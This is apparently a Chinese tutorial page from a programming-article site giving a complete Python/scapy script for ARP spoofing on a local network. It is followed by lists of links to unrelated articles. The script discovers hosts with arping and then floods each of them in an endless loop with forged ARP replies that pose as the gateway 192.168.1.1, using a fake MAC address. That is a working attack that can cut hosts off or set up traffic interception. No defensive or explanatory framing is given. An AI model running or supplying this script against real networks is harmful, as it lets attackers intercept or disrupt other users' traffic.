python使用arp欺骗伪造网关的方法


Posted in Python onApril 24, 2015

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
跟老齐学Python之深入变量和引用对象
Sep 24 Python
Python实现的文本对比报告生成工具示例
May 22 Python
详解pycharm连接不上mysql数据库的解决办法
Jan 10 Python
Python插入Elasticsearch操作方法解析
Jan 19 Python
python如何通过闭包实现计算器的功能
Feb 22 Python
python3 deque 双向队列创建与使用方法分析
Mar 24 Python
python 连续不等式语法糖实例
Apr 15 Python
Selenium元素定位的30种方式(史上最全)
May 11 Python
13个Pandas实用技巧,助你提高开发效率
Aug 19 Python
python实现暗通道去雾算法的示例
Sep 27 Python
使用Python制作一个数据预处理小工具(多种操作一键完成)
Feb 07 Python
Python Parser的用法
May 12 Python
python使用wxPython打开并播放wav文件的方法
Apr 24 #Python
python使用PyGame播放Midi和Mp3文件的方法
Apr 24 #Python
python使用PyGame绘制图像并保存为图片文件的方法
Apr 24 #Python
python使用PIL缩放网络图片并保存的方法
Apr 24 #Python
python使用Tkinter显示网络图片的方法
Apr 24 #Python
Python中最常用的操作列表的几种方法归纳
Apr 24 #Python
在Python中使用lambda高效操作列表的教程
Apr 24 #Python
You might like
用Socket发送电子邮件
2006/10/09 PHP
深入Nginx + PHP 缓存详解
2013/07/11 PHP
php数组合并的二种方法
2014/03/21 PHP
Yii查询生成器(Query Builder)用法实例教程
2014/09/04 PHP
php基于自定义函数记录log日志方法
2017/07/21 PHP
ThinkPHP3.1.2 使用cli命令行模式运行的方法
2020/04/14 PHP
jquery提交form表单时禁止重复提交的方法
2014/02/13 Javascript
nodejs中使用monk访问mongodb
2014/07/06 NodeJs
一种新的javascript对象创建方式Object.create()
2015/12/28 Javascript
在 Angular2 中实现自定义校验指令(确认密码)的方法
2017/01/23 Javascript
js实现日期显示的一些操作(实例讲解)
2017/07/27 Javascript
BootStrap中Table隐藏后显示问题的实现代码
2017/08/31 Javascript
axios全局请求参数设置,请求及返回拦截器的方法
2018/03/05 Javascript
用vue-cli开发vue时的代理设置方法
2018/09/20 Javascript
vue.js实现二级菜单效果
2019/10/19 Javascript
Vue.js实现立体计算器
2020/02/22 Javascript
[01:24:51]2014 DOTA2华西杯精英邀请赛 5 25 LGD VS NewBee第二场
2014/05/26 DOTA
[47:04]EG vs RNG 2019国际邀请赛小组赛 BO2 第二场 8.16
2019/08/18 DOTA
Python3基础之list列表实例解析
2014/08/13 Python
python中二维阵列的变换实例
2014/10/09 Python
Python实现统计英文单词个数及字符串分割代码
2015/05/28 Python
python和flask中返回JSON数据的方法
2018/03/26 Python
Python把对应格式的csv文件转换成字典类型存储脚本的方法
2019/02/12 Python
Python中的 sort 和 sorted的用法与区别
2019/08/10 Python
Python列表嵌套常见坑点及解决方案
2020/09/30 Python
英国领先的男装设计师服装购物网站:Mainline Menswear
2018/02/04 全球购物
什么是唯一索引
2015/07/05 面试题
分公司经理岗位职责
2013/11/11 职场文书
大学生职业生涯规划书范文
2014/01/14 职场文书
项目工作说明书
2014/07/29 职场文书
大学团日活动新闻稿
2014/09/10 职场文书
教学改革问题查摆整改措施
2014/09/27 职场文书
怎样写辞职信
2015/02/27 职场文书
演讲开场白和结束语
2015/05/29 职场文书
花木兰观后感
2015/06/10 职场文书
创业计划书之书店
2019/09/10 职场文书